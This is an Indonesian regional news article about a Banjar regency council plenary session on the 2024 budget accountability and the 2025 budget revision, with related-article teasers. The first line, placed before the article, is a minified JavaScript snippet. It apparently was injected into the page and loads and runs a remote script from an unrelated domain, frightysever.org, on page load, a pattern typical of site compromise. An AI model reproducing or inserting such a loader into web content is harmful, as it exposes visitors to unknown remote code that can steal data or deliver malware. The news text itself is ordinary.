(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Rapat paripurna dengan sejumlah agenda penting digelar di Gedung DPRD Banjar, Martapura, Kamis (19/6/2025) pagi oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Banjar.
Rapat dipimpin Wakil Ketua I DPRD Banjar Irwan Bora, didampingi Wakil Ketua II Akhmad Rizani Ansharie dan Ali Murtado dan dihadiri Bupati Banjar H Saidi Mansyur bersama jajaran eksekutif serta unsur Forum Koordinasi Pimpinan Daerah (Forkopimda).
Agenda kali ini meliputi penyampaian jawaban Bupati atas pemandangan umum fraksi-fraksi terhadap Rancangan Peraturan Daerah (Raperda) tentang Pertanggungjawaban APBD Tahun Anggaran 2024, penyampaian bupati terkait Raperda Perubahan APBD Tahun Anggaran 2025, serta persetujuan Tata Tertib DPRD.
Baca juga: Kritik Rumah Subsidi 18 Meter Persegi, IAI: Bukan Rumah, Itu Selter
Dalam jawabannya terhadap Fraksi Partai Persatuan Pembangunan (PPP), Bupati Banjar Saidi Mansyur memaparkan bahwa realisasi pendapatan daerah Kabupaten Banjar tahun 2024 mencapai 113,46 persen melebihi target yang telah ditetapkan.
Menurut dia, capaian ini mencerminkan keberhasilan dalam mengelola berbagai sumber pendapatan, baik dari Pendapatan Asli Daerah (PAD), dana transfer dari pemerintah pusat, maupun dari antar daerah.
“Peningkatan signifikan pada komponen pendapatan transfer utamanya berasal dari Dana Bagi Hasil (DBH) sektor sumber daya alam yang melampaui estimasi awal. Ke depan, langkah-langkah lanjutan akan dilakukan untuk memastikan penyerapan anggaran yang optimal,” ujar bupati.
Baca juga: Konsumen dan Karyawan Senang Mama Khas Banjar Kembali Buka
Menanggapi pemandangan umum Fraksi Partai Kebangkitan Bangsa (PKB), bupati mengakui adanya kendala dalam realisasi beberapa kegiatan.
Bupati menyebut keterlambatan tersebut antara lain disebabkan oleh perubahan regulasi yang belum tersosialisasi secara menyeluruh, serta kendala teknis dan administratif dalam proses pengadaan barang dan jasa.
Terkait penyampaian Raperda tentang Perubahan APBD Tahun Anggaran 2025, Bupati menjelaskan bahwa perubahan ini merupakan respons atas dinamika yang tidak sesuai dengan asumsi Kebijakan Umum APBD (KUA) yang telah ditetapkan sebelumnya.
Baca juga: Uji Materi Pasal Karet UU Pemilukada, Denny: Melawan Kriminalisasi, Ancaman Kebebasan Berekpresi
Penyesuaian ini dilakukan berdasar ketentuan Pasal 23 ayat (4) PP Nomor 12 Tahun 2019 tentang Pengelolaan Keuangan Daerah, serta mengacu pada Permendagri Nomor 15 Tahun 2024 tentang Pedoman Penyusunan APBD Tahun Anggaran 2025.
“Adapun perubahan APBD didasari oleh beberapa hal, salah satunya perkembangan yang tidak sesuai dengan asumsi Kebijakan Umum APBD (KUA) yang telah ditetapkan sebelumnya. Hal tersebut menjadi dasar pengajuan Raperda tentang Perubahan APBD Tahun Anggaran 2025,” pungkas dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.